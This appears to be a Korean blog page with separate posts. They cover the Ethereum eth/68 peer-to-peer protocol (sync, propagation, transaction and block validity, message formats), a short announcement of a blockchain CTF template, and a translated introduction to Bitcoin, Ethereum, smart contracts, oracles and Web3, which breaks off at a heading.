eth는 RLPx 전송에서 실행되는 프로토콜로, 피어 간에 이더리움 블록체인 정보를 교환하는 기능을 합니다. 현재 프로토콜 버전은 eth/68이므로 이를 기준으로 분석한 문서이다. devp2p를 보고 정리했다.


Basic Operation


연결 설정: 연결이 설정되면 Status 메시지를 전송해야 하며, 상대 피어로부터 Status 메시지를 수신하면 이더리움 세션이 활성화됩니다. 이후 다른 모든 메시지를 보낼 수 있습니다.

세션 내 작업 : 세션 내에서 세 가지 high-level task(chain synchronization, block propagation and transaction exchange)가 수행됩니다. 각 작업은 별도의 프로토콜 메시지 집합(disjoint sets)를 사용하며, 클라이언트는 모든 피어 연결에서 이 작업들을 동시에 수행합니다.

프로토콜 메시지 크기 제한 : 클라이언트는 프로토콜 메시지 크기에 대한 제한을 적용해야 합니다. RLPx 전송에서는 단일 메시지 크기를 16.7MiB로 제한하지만, 실제로 eth 프로토콜에서는 보통 10MiB로 제한됩니다. 수신된 메시지가 이 한계를 초과하면 피어 연결을 끊어야 합니다.

소프트 한계 : 수신된 메시지에 대한 강력한 제한 외에도, 클라이언트는 전송하는 요청과 응답에 대해 '소프트' 한계를 설정해야 합니다. 메시지 유형에 따라 권장되는 소프트 한계가 다릅니다. 이러한 한계는 블록 동기화와 트랜잭션 교환이 동일한 피어 연결에서 원활하게 이루어지도록 돕습니다.

그럼 이제 3가지 High-Level task들을 살펴보자


Chain Synchronization


  • eth 프로토콜에 참여하는 노드는 제네시스 블록부터 현재 최신 블록까지의 모든 블록에 대한 정보를 알고 있어야 하며, 이를 다른 피어로부터 다운로드하여 얻습니다.
  • 연결이 설정되면, 양쪽 피어는 자신의 ‘best' 블록의 총 난이도(Total Difficulty, TD)와 해시를 포함한 Status 메시지를 서로 전송합니다.
  • 체인 동기화 : 난이도가 더 낮은(worst) 클라이언트는 GetBlockHeaders 메시지를 통해 블록 헤더를 다운로드합니다. 받은 헤더에서 작업 증명(PoW) 값을 확인한 후, GetBlockBodies 메시지를 사용하여 블록 본문을 다운로드합니다. 이 후, 이더리움 가상 머신(Ethereum Virtual Machine)을 사용해 블록을 실행하여 상태 트리(state tree)와 영수증(receipts)을 재생성합니다.
  • 동시 작업 : 헤더 다운로드, 블록 본문 다운로드, 블록 실행은 동시에 발생할 수 있습니다.

State Synchronization (a.k.a “fast sync”)


  • 상태 트리 동기화 : 프로토콜 버전 eth/63부터 eth/66까지는 상태 트리 동기화를 허용했습니다. 그러나 eth/67부터는 이더리움 상태 트리를 eth 프로토콜을 통해 더 이상 검색할 수 없으며, 상태 다운로드는 보조 프로토콜인 snap 프로토콜을 통해 이루어집니다.
  • 상태 동기화 과정 : 상태 동기화는 일반적으로 블록 헤더 체인을 다운로드하고 그 유효성을 검증하는 과정으로 진행됩니다. 블록 본문은 체인 동기화와 마찬가지로 요청되지만, 트랜잭션은 실행되지 않고 '데이터 유효성'만 확인됩니다.
  • 피벗 블록 선택 : 클라이언트는 체인 헤드 근처의 블록(pivot block)을 선택하고 해당 블록의 상태를 다운로드합니다.

Block Propagation


이 내용은 과거 PoW 및 PoA 환경에서의 블록 전파 방식과 관련된 설명이며, 현재 PoS로 전환된 상태에서는 더 이상 유효하지 않음을 참고로 알아두시면 됩니다.


  • PoW에서 PoS로의 전환 : PoW에서 PoS로 전환(The Merge)된 후에는 블록 전파가 더 이상 eth 프로토콜에 의해 처리되지 않습니다. 아래 설명은 과거 PoW 및 PoA(clique) 네트워크에만 적용되며, 블록 전파 메시지(NewBlock, NewBlockHashes 등)는 향후 프로토콜 버전에서 제거될 예정입니다. 현재 PoS로 전환된 eth/68 버전에서는 이 기능이 더 이상 필요하지 않습니다.
  • 블록 전파(Block Propagation) : 새로 채굴된 블록은 모든 노드에 전달되어야 하며, 이는 2단계로 이루어집니다. 피어로부터 NewBlock 메시지를 수신하면, 클라이언트는 작업 증명(PoW) 값이 유효한지 확인하여 블록의 기본 헤더 유효성을 먼저 확인합니다. 그런 다음 NewBlock 메시지를 사용해 연결된 일부 피어(일반적으로 피어 수의 제곱근)에 블록을 전송합니다.
  • 블록 처리 : 헤더 유효성 검사 후, 클라이언트는 블록에 포함된 모든 트랜잭션을 실행하고, 블록의 'Post State'를 계산하여 로컬 체인에 블록을 추가합니다. 이때 블록의 state root 해시는 계산된 Post State root와 일치해야 합니다. 블록이 완전히 처리되고 유효하다고 판단되면, 클라이언트는 이전에 알리지 않은 모든 피어에게 NewBlockHashes 메시지를 보냅니다. 블록을 받지 못한 피어는 전체 블록을 요청할 수 있습니다.
  • 정보 중복 전송 방지 : 노드는 이전에 블록을 알린 피어에게 다시 정보를 보내지 않도록 해야 합니다. 이를 위해 각 피어와 최근에 공유된 블록 해시 세트를 저장하여 중복 전송을 방지합니다.
  • 체인 동기화 유발 가능성 : 블록 알림을 수신한 후, 해당 블록이 클라이언트의 최신 블록의 즉각적인 후속 블록이 아닌 경우, 체인 동기화를 유발할 수도 있습니다.

Transaction Exchange


  • 트랜잭션 교환 : 모든 노드는 채굴자에게 중계하기 위해 대기 중인 트랜잭션을 서로 교환하며, 채굴자는 이를 선택하여 블록체인에 포함시킵니다. 각 클라이언트는 '트랜잭션 풀'에서 대기 중인 트랜잭션을 관리하며, 이 풀에는 수천 개의 트랜잭션이 포함될 수 있습니다.
  • 피어 연결 시 동기화 : 새로운 피어 연결이 설정되면, 양쪽의 트랜잭션 풀을 동기화해야 합니다. 초기에는 양측이 로컬 풀에 있는 모든 트랜잭션 해시를 포함한 NewPooledTransactionHashes 메시지를 교환하여 동기화를 시작합니다.
  • 트랜잭션 요청 : 클라이언트는 NewPooledTransactionHashes 메시지를 수신하면, 로컬 풀에 없는 트랜잭션 해시를 필터링하여 수집합니다. 그런 다음 GetPooledTransactions 메시지를 사용하여 해당 트랜잭션을 요청할 수 있습니다.
  • 트랜잭션 전파 : 클라이언트의 풀에 새로운 트랜잭션이 나타나면, Transactions 및 NewPooledTransactionHashes 메시지를 통해 네트워크에 전파합니다. Transactions 메시지는 완전한 트랜잭션 객체를 소수의 무작위 피어에게 전송하며, 나머지 피어는 트랜잭션 해시만 수신하고 필요 시 전체 트랜잭션 객체를 요청할 수 있습니다. 이를 통해 모든 노드가 트랜잭션을 수신하고, 추가 요청 없이 처리할 수 있도록 보장합니다.
  • 중복 전송 방지 : 노드는 이미 해당 트랜잭션을 알고 있는 피어에게 다시 트랜잭션을 보내지 않아야 합니다. 이를 위해 각 피어가 최근에 중계한 트랜잭션 해시를 기억하는 방식으로 중복 전송을 방지합니다.

Transaction Encoding and Validity


  • 피어 간에 교환되는 트랜잭션 객체는 두 가지 인코딩 중 하나를 가집니다. 우리는 이 두 가지 인코딩의 트랜잭션을 txₙ이라는 식별자로 참조합니다.
    • tx = {legacy-tx, typed-tx}
  • 유형이 지정되지 않은 레거시 트랜잭션은 RLP 목록으로 제공됩니다.
legacy-tx = [
    nonce: P,
    gas-price: P,
    gas-limit: P,
    recipient: {B_0, B_20},
    value: P,
    data: B,
    V: P,
    R: P,
    S: P,
]
  • EIP-2718형식의 트랜잭션은 RLP 바이트 배열로 인코딩되며, 첫 번째 바이트는 트랜잭션 유형(tx-type)이고 나머지 바이트는 유형별로 특정한 데이터(tx-data)입니다.
    • typed-tx = tx-type || tx-data

트랜잭션은 수신될 때 반드시 유효성을 검사해야 합니다. 유효성은 이더리움 체인 상태에 따라 달라집니다. 이 명세서에서 다루는 유효성의 특정 종류는 트랜잭션이 EVM에 의해 성공적으로 실행될 수 있는지 여부가 아니라, 로컬 풀에 임시 저장되고 다른 피어와 교환되는 것이 허용되는지 여부입니다.

트랜잭션은 아래 규칙에 따라 유효성을 검사합니다. 형식이 지정된 트랜잭션의 인코딩은 불투명하지만, 이들은 nonce, gas-price, gas-limit 값을 제공하며 트랜잭션의 서명에서 보낸 사람 계정을 확인할 수 있다고 가정합니다.

  • 트랜잭션이 형식화된 경우, tx-type은 구현체에 알려져 있어야 합니다. 정의된 트랜잭션 유형은 블록에 포함되기 전에 유효한 것으로 간주될 수 있습니다. 알 수 없는 유형의 트랜잭션을 전송하는 피어와는 연결을 끊어야 합니다.
  • 서명은 체인이 지원하는 서명 스키마에 따라 유효해야 합니다. 형식화된 트랜잭션의 경우, 서명 처리는 해당 유형을 소개하는 EIP에 정의되어 있습니다. 레거시 트랜잭션의 경우, 활성화된 두 가지 스키마는 기본 Homestead 스키마와 EIP-155 스키마입니다.
  • gas-limit는 트랜잭션의 '고유 가스(intrinsic gas)'를 충족해야 합니다.
  • 서명에서 파생된 트랜잭션의 보낸 사람 계정은 트랜잭션 비용(gas-limit * gas-price + value)을 충당할 수 있는 충분한 이더 잔액을 가져야 합니다.
  • 트랜잭션의 nonce는 보낸 사람 계정의 현재 nonce와 같거나 커야 합니다.
  • 트랜잭션을 로컬 풀에 포함할지 고려할 때, 구현체는 현재 계정 nonce보다 큰 '미래' 트랜잭션이 얼마나 유효한지, 그리고 'nonce gap'이 얼마나 허용되는지 결정할 수 있습니다.

구현체는 트랜잭션에 대해 다른 유효성 검사 규칙을 강제할 수 있습니다. 예를 들어, 128 kB보다 큰 인코딩된 트랜잭션을 거부하는 것이 일반적인 관행입니다.

달리 명시되지 않는 한, 구현체는 유효하지 않은 트랜잭션을 보낸다고 해서 피어와의 연결을 끊어서는 안 되며, 대신 단순히 트랜잭션을 폐기해야 합니다. 이는 피어가 약간 다른 유효성 검사 규칙을 따르고 있을 수 있기 때문입니다.


정리

  1. 트랜잭션 종류: 트랜잭션은 레거시 트랜잭션(구형)과 EIP-2718 형식화된 트랜잭션(신형) 두 가지로 구분됩니다.
  2. 유효성 검사: 트랜잭션 수신 시, 이를 로컬 풀에 저장하거나 다른 피어와 교환할 수 있는지 여부를 판단하기 위해 유효성 검사를 수행합니다.
  3. 형식화된 트랜잭션: EIP-2718 형식의 트랜잭션은 첫 바이트가 트랜잭션 유형(tx-type), 나머지는 유형별 데이터(tx-data)로 구성됩니다.
  4. 검사 규칙:
    • 트랜잭션 유형(tx-type)은 구현체에 알려져 있어야 합니다.
    • 서명은 유효해야 하며, 체인에서 지원하는 서명 스키마를 따라야 합니다.
    • gas-limit는 트랜잭션의 고유 가스를 충족해야 합니다.
    • 보낸 사람 계정은 충분한 이더 잔액을 가져야 합니다.
    • nonce는 현재 계정 nonce와 같거나 커야 합니다.
    • 구현체는 추가적으로 '미래' 트랜잭션이나 nonce 갭을 허용할지 결정할 수 있습니다.
  5. 중복 전송 방지: 유효하지 않은 트랜잭션을 보냈다고 해서 피어와의 연결을 끊어서는 안 되며, 단순히 트랜잭션을 폐기해야 합니다. 이는 피어가 다른 유효성 검사 규칙을 따를 수 있기 때문입니다.

Block Encoding and Validity


이더리움 블록은 다음과 같이 인코딩됩니다.


block = [header, transactions, ommers]
transactions = [tx₁, tx₂, ...]
ommers = [header₁, header₂, ...]
withdrawals = [withdrawal₁, withdrawal₂, ...]
header = [
    parent-hash: B_32,
    ommers-hash: B_32,
    coinbase: B_20,
    state-root: B_32,
    txs-root: B_32,
    receipts-root: B_32,
    bloom: B_256,
    difficulty: P,
    number: P,
    gas-limit: P,
    gas-used: P,
    time: P,
    extradata: B,
    mix-digest: B_32,
    block-nonce: B_8,
    basefee-per-gas: P,
    withdrawals-root: B_32,
]

특정 프로토콜 메시지에서는 트랜잭션 목록과 ommer 목록이 ‘block body'라는 단일 항목으로 함께 전달됩니다.


block-body = [transactions, ommers, withdrawals]

블록 헤더의 유효성은 사용되는 상황에 따라 달라집니다. 단일 블록 헤더의 경우 작업 증명(PoW) 봉인(mix-digest, block-nonce)의 유효성만 확인할 수 있습니다. 클라이언트의 로컬 체인을 확장하기 위해 헤더가 사용되거나 체인 동기화 중에 여러 헤더가 순차적으로 처리되는 경우 다음 규칙이 적용됩니다.


  • 헤더는 블록 번호가 연속적이며 각 헤더의 부모 해시(parent-hash)가 이전 헤더의 해시와 일치하는 체인을 형성해야 합니다.
  • 로컬에 저장된 체인을 확장할 때, 구현체는 Yellow Paper에 명시된 프로토콜 규칙에 따라 난이도, 가스 한도, 시간 값이 적절한지 확인해야 합니다.
  • gas-used 헤더 필드는 gas-limit보다 작거나 같아야 합니다.
  • 런던 하드포크 이후의 블록에서는 basefee-per-gas가 헤더에 있어야 하며, 이전 블록에서는 없어야 합니다. 이 규칙은 EIP-1559에 의해 추가되었습니다.
  • 병합(The Merge) 이후의 PoS 블록에서는 ommers 헤더가 존재할 수 없으므로 ommers-hash는 빈 keccak256 해시여야 합니다.
  • 상하이 포크 이후의 블록에서는 withdrawals-root가 헤더에 있어야 하며, 포크 이전의 블록에서는 없어야 합니다. 이 규칙은 EIP-4895에 의해 추가되었습니다.

완전한 블록의 경우, 블록의 EVM 상태 전환의 유효성과 블록의 (약한) '데이터 유효성'을 구별합니다. 상태 전이 규칙의 정의는 이 사양에서 다루지 않습니다. 즉각적인 block propagation와 state synchronization을 위해 블록의 데이터 유효성이 필요합니다.


블록의 데이터 유효성을 판단하기 위해 다음 규칙을 사용합니다. 구현체는 유효하지 않은 블록을 보내는 피어와의 연결을 끊어야 합니다.


  • 블록 header는 유효해야 합니다.
  • 블록에 포함된 transaction은 해당 블록 번호에서 체인에 포함될 수 있도록 유효해야 합니다. 즉, 앞서 언급된 트랜잭션 유효성 검사 규칙 외에도, 해당 블록 번호에서 트랜잭션 유형(tx-type)이 허용되는지 여부와 트랜잭션 가스 유효성을 블록 번호에 맞게 확인해야 합니다.
  • 모든 트랜잭션의 gas-limits 합이 블록의 gas-limit을 초과해서는 안 됩니다.
  • 블록의 transaction의 트랜잭션 목록의 머클 트리 해시를 계산하고 txs-root와 비교하여 검증해야 합니다.
  • 블록 본문의 인출 목록은 머클 트리 해시를 계산하고 withdrawals-root와 비교하여 검증해야 합니다. 인출은 합의 레이어에서 블록에 삽입되므로 추가적인 검증은 불가능합니다.
  • ommers 목록에는 최대 두 개의 헤더가 포함될 수 있습니다.
  • keccak256(ommers)는 블록 헤더의 ommers-hash와 일치해야 합니다.
  • ommers 목록에 포함된 헤더는 유효한 헤더여야 합니다. 이들의 블록 번호는 포함된 블록의 번호보다 크지 않아야 합니다. ommer 헤더의 부모 해시는 포함된 블록의 조상 중 깊이가 7 이하인 블록을 참조해야 하며, 이 조상 집합에 포함된 이전 블록에 포함된 적이 없어야 합니다.

Receipt Encoding and Validity


receipts는 블록의 EVM 상태 전이 결과입니다. 트랜잭션과 마찬가지로 영수증에는 두 가지 인코딩 방식이 있으며, 우리는 이 두 가지 인코딩을 receiptₙ이라는 식별자로 참조합니다.


receipt = {legacy-receipt, typed-receipt}

유형이 지정되지 않은 기존 영수증은 다음과 같이 인코딩됩니다.

legacy-receipt = [
    post-state-or-status: {B_32, {0, 1}},
    cumulative-gas: P,
    bloom: B_256,
    logs: [log₁, log₂, ...]
]
log = [
    contract-address: B_20,
    topics: [topic₁: B, topic₂: B, ...],
    data: B
]

EIP-2718 유형의 영수증은 RLP 바이트 배열로 인코딩됩니다. 여기서 첫 번째 바이트는 영수증 유형(tx-type과 일치)을 제공하고 나머지 바이트는 해당 유형과 관련된 불투명 데이터입니다.


typed-receipt = tx-type || receipt-data

Ethereum Wire Protocol에서 receipts은 항상 블록에 포함된 모든 receipts의 전체 목록으로 전송됩니다. 또한 영수증이 포함된 블록이 유효하고 알려져 있다고 가정합니다. 피어가 블록 receipts 목록을 수신하면 목록의 머클 트리 해시를 계산하고 블록의 receipts 루트와 비교하여 확인해야 합니다. 유효한 receipts 목록은 EVM 상태 전환에 의해 결정되므로 본 사양에서는 receipts에 대한 추가 유효성 규칙을 정의할 필요가 없습니다.


Protocol Messages


이더리움의 eth 프로토콜 메시지는 주로 네트워크 내에서 피어 간의 정보 교환을 위해 사용되며, 각 메시지는 특정 형식과 규칙을 따릅니다. 아래는 주요 메시지와 그 기능에 대한 설명입니다.


  • 요청 ID: 대부분의 메시지에서 첫 번째 요소는 request-id로, 요청하는 피어가 선택한 64비트 정수 값입니다. 응답하는 피어는 이 값을 그대로 응답 메시지에 반영해야 합니다.
  • 소프트 한계: 여러 메시지에서 소프트 한계가 설정되어 있으며, 예를 들어 BlockHeaders, BlockBodies, Receipts 응답은 2 MiB로 권장됩니다.
  • Status (0x00)
    • [version: P, networkid: P, td: P, blockhash: B_32, genesis: B_32, forkid]
    • 기능: 연결이 설정된 직후 피어의 현재 상태를 알립니다. 이는 다른 eth 프로토콜 메시지를 보내기 전에 수행되어야 합니다.
    • 구성 요소:
      • version: 현재 프로토콜 버전.
      • networkid: 블록체인을 식별하는 정수 값.
      • td: 최고 체인의 총 난이도.
      • blockhash: 최고(TD가 가장 높은) 블록의 해시.
      • genesis: 제네시스 블록의 해시.
      • forkid: EIP-2124 포크 식별자.
    • 아래는 일반적인 네트워크 ID와 해당 네트워크가 나열되어 있습니다.
    • 트랜잭션 replay prevention에 사용되는 EIP-155 체인 ID와 일치할 수도 있고, 아닐 수도 있기에 클라이언트는 특정 네트워크 ID를 사용할것을 요구하면 안된다.ID chain
      0 Olympic (disused)
      1 Frontier (now mainnet)
      2 Morden testnet (disused)
      3 Ropsten testnet (disused)
      4 Rinkeby testnet (disused)
      5 Goerli testnet
    • chain 정보들 : https://chainid.network/
  • NewBlockHashes (0x01)
    • [[blockhash₁: B_32, number₁: P], [blockhash₂: B_32, number₂: P], ...]
    • 기능: 네트워크에 새로 나타난 블록을 피어에게 알립니다. 피어가 알지 못할 가능성이 있는 모든 블록을 포함해야 하지만, 이미 알리고 있는 해시를 중복하여 보내는 것은 피어의 평판을 떨어뜨릴 수 있습니다.
    • 나중에 보내는 노드가 진행 중인 GetBlockHeaders 메시지에 따르기를 거부하는 해시를 포함하는 것은 잘못된 형식으로 간주되어 보내는 노드의 평판을 낮출 수 있습니다.
  • Transactions (0x02)
    • [tx₁, tx₂, ...]
    • 기능: 피어가 트랜잭션 큐에 포함시켜야 할 트랜잭션을 지정합니다. 이 메시지는 최소 하나의 새로운 트랜잭션을 포함해야 하며, 동일한 트랜잭션을 같은 세션에서 재전송하지 않아야 합니다.
    • 트랜잭션 메세지에는 하나 이상의 새로운 트랜잭션이 포함되어야 한다.
      • 빈 트랜잭션 메세지는 권장되지 않으며, 연결이 끊어질 수 있다.
    • 재전송된 트랜잭션을 받은 피어에게 중계해서는 안된다.
      • 실제로 이는 이미 전송되거나 수신된 피어 별 볼륨 필터 또는 트랜잭션 해시 세트를 유지하여 구현하는 경우가 많다.
  • GetBlockHeaders (0x03) / BlockHeaders (0x04)
    • GetBlockHeaders (0x03) : [request-id: P, [startblock: {P, B_32}, limit: P, skip: P, reverse: {0, 1}]]
    • BlockHeaders (0x04) : [request-id: P, [header₁, header₂, ...]]
    • 기능: 블록 헤더 요청과 그에 대한 응답 메시지입니다. 요청 시, 시작 블록, 한계, 스킵, 역순 등을 지정하여 블록 헤더 목록을 요청할 수 있습니다.
    • 응답: 요청된 헤더 목록을 포함하며, 요청된 블록 헤더를 찾지 못한 경우 목록이 비어 있을 수 있습니다.
  • GetBlockBodies (0x05) / BlockBodies (0x06)
    • GetBlockBodies (0x05) : [request-id: P, [blockhash₁: B_32, blockhash₂: B_32, ...]]
    • BlockBodies (0x06) : [request-id: P, [block-body₁, block-body₂, ...]]
    • 기능: 블록 본문 데이터 요청과 그에 대한 응답 메시지입니다. 요청된 블록의 본문 데이터를 포함하며, 요청된 블록을 찾지 못한 경우 목록이 비어 있을 수 있습니다.
  • NewBlock (0x07)
    • [block, td: P]
    • 기능: 피어가 알아야 할 하나의 완전한 블록을 지정합니다. td는 해당 블록의 총 난이도입니다.
  • NewPooledTransactionHashes (0x08)
    • [txtypes: B, [txsize₁: P, txsize₂: P, ...], [txhash₁: B_32, txhash₂: B_32, ...]]
    • 기능: 네트워크에 나타난, 아직 블록에 포함되지 않은 트랜잭션을 알리는 메시지입니다. 트랜잭션 유형, 크기, 해시 목록이 포함됩니다.
    • 특징: 트랜잭션 해시와 크기를 통해 피어에게 트랜잭션을 알립니다.
  • GetPooledTransactions (0x09)
    • [request-id: P, [txhash₁: B_32, txhash₂: B_32, ...]]
    • GetPooledTransactions 요청에 권장되는 소프트 제한은 256개 해시(8KiB)입니다.
    • 수신자는 응답(크기 또는 제공 시간)에 대해 임의의 제한을 적용할 수 있으며 이는 프로토콜 위반으로 간주되어서는 안 됩니다.
  • PooledTransactions (0x0a)
    • [request-id: P, [tx₁, tx₂...]]
    • 이는 로컬 풀에서 요청된 트랜잭션을 반환하는 GetPooledTransactions에 대한 응답입니다.
    • 트랜잭션은 요청과 동일한 순서여야 하지만 사용할 수 없는 트랜잭션을 건너뛰어도 괜찮습니다.
    • 이때 응답 크기 제한에 도달한 경우 요청자는 다시 요청할 해시(마지막 반환된 트랜잭션에서 시작하는 모든 것)와 사용할 수 없다고 가정할 해시(마지막 반환된 트랜잭션 전의 모든 간격)를 알게 됩니다.
    • NewPooledTransactionHashes를 통해 거래를 알리고, PooledTransactions를 통해 거래 제공을 거부하는것이 허용되는데 이러한 상황은 INFO와 REQUEST 사이에 트랜잭션이 블록에 포함되고, 풀에서 제거될 때 발생할 수 있다.
    • 풀의 트랜잭션과 일치하는 해시가 없으면 피어는 빈 목록으로 응답할 수 있습니다.
  • GetReceipts (0x0f)
    • [request-id: P, [blockhash₁: B_32, blockhash₂: B_32, ...]
    • 피어가 지정된 블록 해시의 영수증이 포함된 영수증 메세지를 반환하도록 요구합니다.
    • 단일 메세지에서 요청할 수 있는 확인 수는 구현에 정의된 제한에 따라 달라질 수 있습니다.
  • Receipts (0x10)
    • [request-id: P, [[receipt₁, receipt₂], ...]]
    • 요청된 블록 영수증을 제공하는 GetReceipts에 대한 응답입니다.
    • 응답 목록의 각 요소는 GetReceipts 요청의 블록 해시에 해당하며 블록 영수증의 전체 목록을 포함해야 합니다.
    • 영수증 응답에 권장되는 소프트 제한은 2MiB입니다.

CTF를 운영하게 되면서 간단한 블록체인 문제를 만들어봤다.

공개되어 있는 Zellic의 Template이나 ChainFlag의 Template을 사용하여 만들다가 한 번 구현해볼까?라는 생각으로 어쩌다 만들게 되었다. geth를 이용해 만들다가 결국 Ganache로 결정되었다.

 

https://github.com/KindKillerwhale/Blockchain-CTF-Template

 

GitHub - KindKillerwhale/Blockchain-CTF-Template: Blockchain-CTF-Template

Blockchain-CTF-Template. Contribute to KindKillerwhale/Blockchain-CTF-Template development by creating an account on GitHub.

github.com

 

급하게 구현한다고 코드가 깔끔하고 효율적이지는 않다. 전체적으로 고칠 점이 많다. 대회 운영을 위해 기능 구현만 해보았다. 나중에 차근차근 고쳐봐야겠다.

영상에 정리된 내용을 번역한 내용


비트코인과 블록체인


블록체인 기술을 활용한 첫 번째 프로토콜 중 하나인 비트코인에 대해 잘 알고 있을 것이다. 사토시 나카모토(가명)가 작성한 비트코인 백서에서는 비트코인이 암호화를 사용하여 탈중앙화된 네트워크 내에서 P2P 거래를 촉진할 수 있는 방법을 설명했다. 이는 검열 저항 금융(censorship-resistant finance)을 탄생시켰다. 비트코인은 금과 유사하게 고정된 양이 있다. 이에 대한 자세한 내용은 비트코인 백서에서 확인할 수 있다.


이더리움과 스마트 계약


비트코인이 탄생한 몇 년 후, 비탈릭 부테린은 블록체인 인프라를 기반으로 추가 기능을 갖춘 이더리움을 설립했다. 이더리움을 통해 중앙 중개인 없이 탈중앙화된 거래, 조직, 계약을 생성할 수 있다. 이는 스마트 계약의 추가를 통해 가능해졌다. 스마트 계약의 개념은 원래 닉 사보에 의해 1994년에 구상되었지만, 이더리움이 이를 현실화했다.

스마트 계약은 중앙화되거나 제3자 중개인 없이 탈중앙화된 방식으로 실행되는 명령어 집합이다. 비트코인에도 스마트 계약 기능이 있지만, 의도적으로 튜링 불완전하게 되어 있다.


비트코인과 이더리움의 비교


비트코인은 탈중앙화된 디지털 화폐의 개념을 도입했다. 비트코인은 가치 저장 수단으로 기능하며, 중앙 권위 없이 P2P 거래를 가능하게 한다. 이러한 탈중앙화는 어떤 단일 주체도 네트워크를 통제하지 않게 하여 비트코인을 검열 저항적이고 중앙 집중화된 실패 지점에 취약하지 않게 만든다.


이더리움은 비트코인의 기술을 확장하여 스마트 계약을 도입했다. 스마트 계약은 모든 조건과 약관이 코드에 투명하게 작성된 자동 실행 계약이다. 이러한 계약은 신뢰를 최소화한 합의이며, 중개자의 필요성을 제거한다. 이더리움의 플랫폼은 탈중앙화 애플리케이션(dApp)의 생성을 가능하게 하며, 블록체인과 탈중앙화된 네트워크를 통해 현실 세계 데이터와 상호 작용할 수 있다.


오라클 문제


스마트 계약은 현실 세계의 데이터와 상호 작용하거나 접근할 수 없다는 중요한 한계에 직면해 있다. 이를 오라클 문제라고 한다. 블록체인은 결정론적 시스템이기 때문에 모든 일이 그들의 생태계 내에서 발생한다. 스마트 계약을 더 유용하게 하고 현실 세계의 데이터를 처리할 수 있도록 하기 위해서는 외부 데이터와 연산이 필요하다. 오라클은 이 목적을 수행한다. 오라클은 블록체인에 데이터를 제공하거나 외부 연산을 실행하는 장치 또는 서비스다. 탈중앙화를 유지하려면 단일 소스에 의존하지 않고 탈중앙화된 오라클 네트워크를 사용하는 것이 필요하다. 이와 같은 온체인 논리와 오프체인 데이터를 결합하면 하이브리드 스마트 계약이 탄생한다.


체인링크


체인링크는 스마트 계약이 외부 데이터와 연산에 접근할 수 있도록 하는 인기 있는 탈중앙화 오라클 네트워크다. 체인링크는 블록체인에 구애받지 않기 때문에 모든 체인에서 작동한다.


주요 기능 및 이점


  • 탈중앙화: 스마트 계약은 노드에 의해 유지되는 탈중앙화된 네트워크에서 작동하며, 중앙 중개자의 필요성을 제거한다.
  • 투명성과 유연성: 블록체인에서 모든 거래와 계약 실행은 모든 사람에게 공개되어 투명성과 공정성을 보장한다. 또한, 계정이 실제 신원과 연결되지 않아 프라이버시가 유지된다.
  • 속도와 효율성: 블록체인 거래는 즉각적으로 이루어지며, 며칠 또는 몇 주가 걸리는 전통적인 은행 송금과 다르다. 이 효율성은 금융 결제에도 적용되어 청산소의 필요성을 제거하고 결제 시간을 단축시킨다.
  • 보안성과 불변성: 스마트 계약이 배포되면 변경할 수 없어 조건이 변하지 않음을 보장한다. 블록체인을 해킹하는 것은 탈중앙화된 특성 때문에 매우 어렵기 때문에 중앙 집중식 시스템보다 정보를 보호하는 더 안전한 방법을 제공한다.
  • 상대방 위험 감소: 스마트 계약은 중개자에 대한 신뢰의 필요성을 제거하여 인간의 개입이나 사기 없이 코드로 작성된 대로 계약이 실행되도록 보장한다.

 


레이어 2 확장 솔루션


블록체인이 성장함에 따라 확장 문제에 직면하게 된다. 이를 해결하기 위해 레이어 2(L2) 솔루션이 개발되었다. L2 솔루션은 다른 블록체인이 메인 블록체인에 연결되도록 하여 기본적으로 확장할 수 있도록 한다. L2 솔루션에는 두 가지 주요 유형이 있다:


  • Optimistic Rollups: eg. Optimism, Arbitrum
  • Zero-Knowledge Rollups: eg. ZK Sync, Polygon ZK EVM

 


일반 용어


 

웹3


웹3는 블록체인과 스마트 계약으로 구동되는 인터넷의 새로운 패러다임을 설명하는 데 사용되는 용어다. 웹의 이전 버전과 달리 웹3는 허가가 필요 없으며 중앙 서버가 아닌 탈중앙화된 네트워크에 의존한다. 이는 검열 저항적이고 투명한 계약 및 거래의 시대를 열어 소유 경제라고도 불린다.


  • 웹1: 정적 콘텐츠가 있는 무허가 오픈 소스 웹
  • 웹2: 기업이 서버에서 여러분의 계약을 실행하는 동적 콘텐츠가 있는 허가된 웹
  • 웹3: 동적 콘텐츠가 있는 무허가 웹

 

탈중앙화된 검열 저항 네트워크가 여러분의 계약과 코드를 실행한다. 사용자 소유 생태계에서는 사용자가 상호작용하는 프로토콜의 일부를 소유한다. 단순히 제품일 뿐인 것과는 다르다.


블록체인과 스마트 계약의 본질


우리 삶에서 거의 모든 상호작용이나 거래는 어떤 형태의 계약 또는 합의와 관련이 있다. 예를 들어, 의자를 구매하는 것은 목재를 사서 조립하고 완성된 제품을 판매하기 위한 계약을 포함한다. 전기 공급도 전력 회사와의 계약에 기반한다. 자동차 오일 교환 시에도 서비스에 대한 대가로 돈을 지불하는 계약이 존재한다. 현대 생활의 거의 모든 것은 어떤 형태로든 계약이나 합의와 관련이 있다.


전통적인 합의의 문제


신뢰에 기반한 계약이 잘못될 수 있는 실제 예를 살펴보고, 블록체인 기술과 스마트 계약이 이러한 위험을 어떻게 완화하는지 알아보겠다.


소비자 신뢰


1980년대와 1990년대에 맥도날드의 모노폴리 게임은 고객에게 구매 시 얻는 게임 카드를 통해 돈을 받을 기회를 약속했다. 그러나 이 게임은 내부 관계자들이 시스템을 조작하여 자신들의 이익을 위해 조작한 것으로 드러났다. 즉, 맥도날드는 고객과의 약속을 지키지 못했다. 이 예시는 계약 내에서 신뢰에 의존하는 것이 사기 활동과 약속 파기로 이어질 수 있음을 보여준다.


스마트 계약을 통해 우리는 신뢰의 필요성을 제거할 수 있다. 스마트 계약은 탈중앙화된 블록체인에 배포되는 계약 또는 명령어 집합이다. 한 번 배포되면 변경할 수 없으며 자동으로 실행되고 모든 사람이 그 조건을 볼 수 있다. 맥도날드의 모노폴리 게임이 블록체인 스마트 계약을 통해 운영되었다면, 스마트 계약의 불변적, 탈중앙화, 투명한 특성으로 인해 사기 행위는 불가능했을 것이다.


은행과 신뢰


전통적인 은행은 때때로 사람들의 돈을 안전하게 보호하겠다는 약속을 지키지 못했으며, 이는 대공황 때 두드러졌다. 블록체인과 스마트 계약은 투명성을 보장하고 자동화된 지급 능력 검사를 실행하여 은행이 지급 불능 상태가 되는 것을 방지할 수 있다.


금융 시장 접근


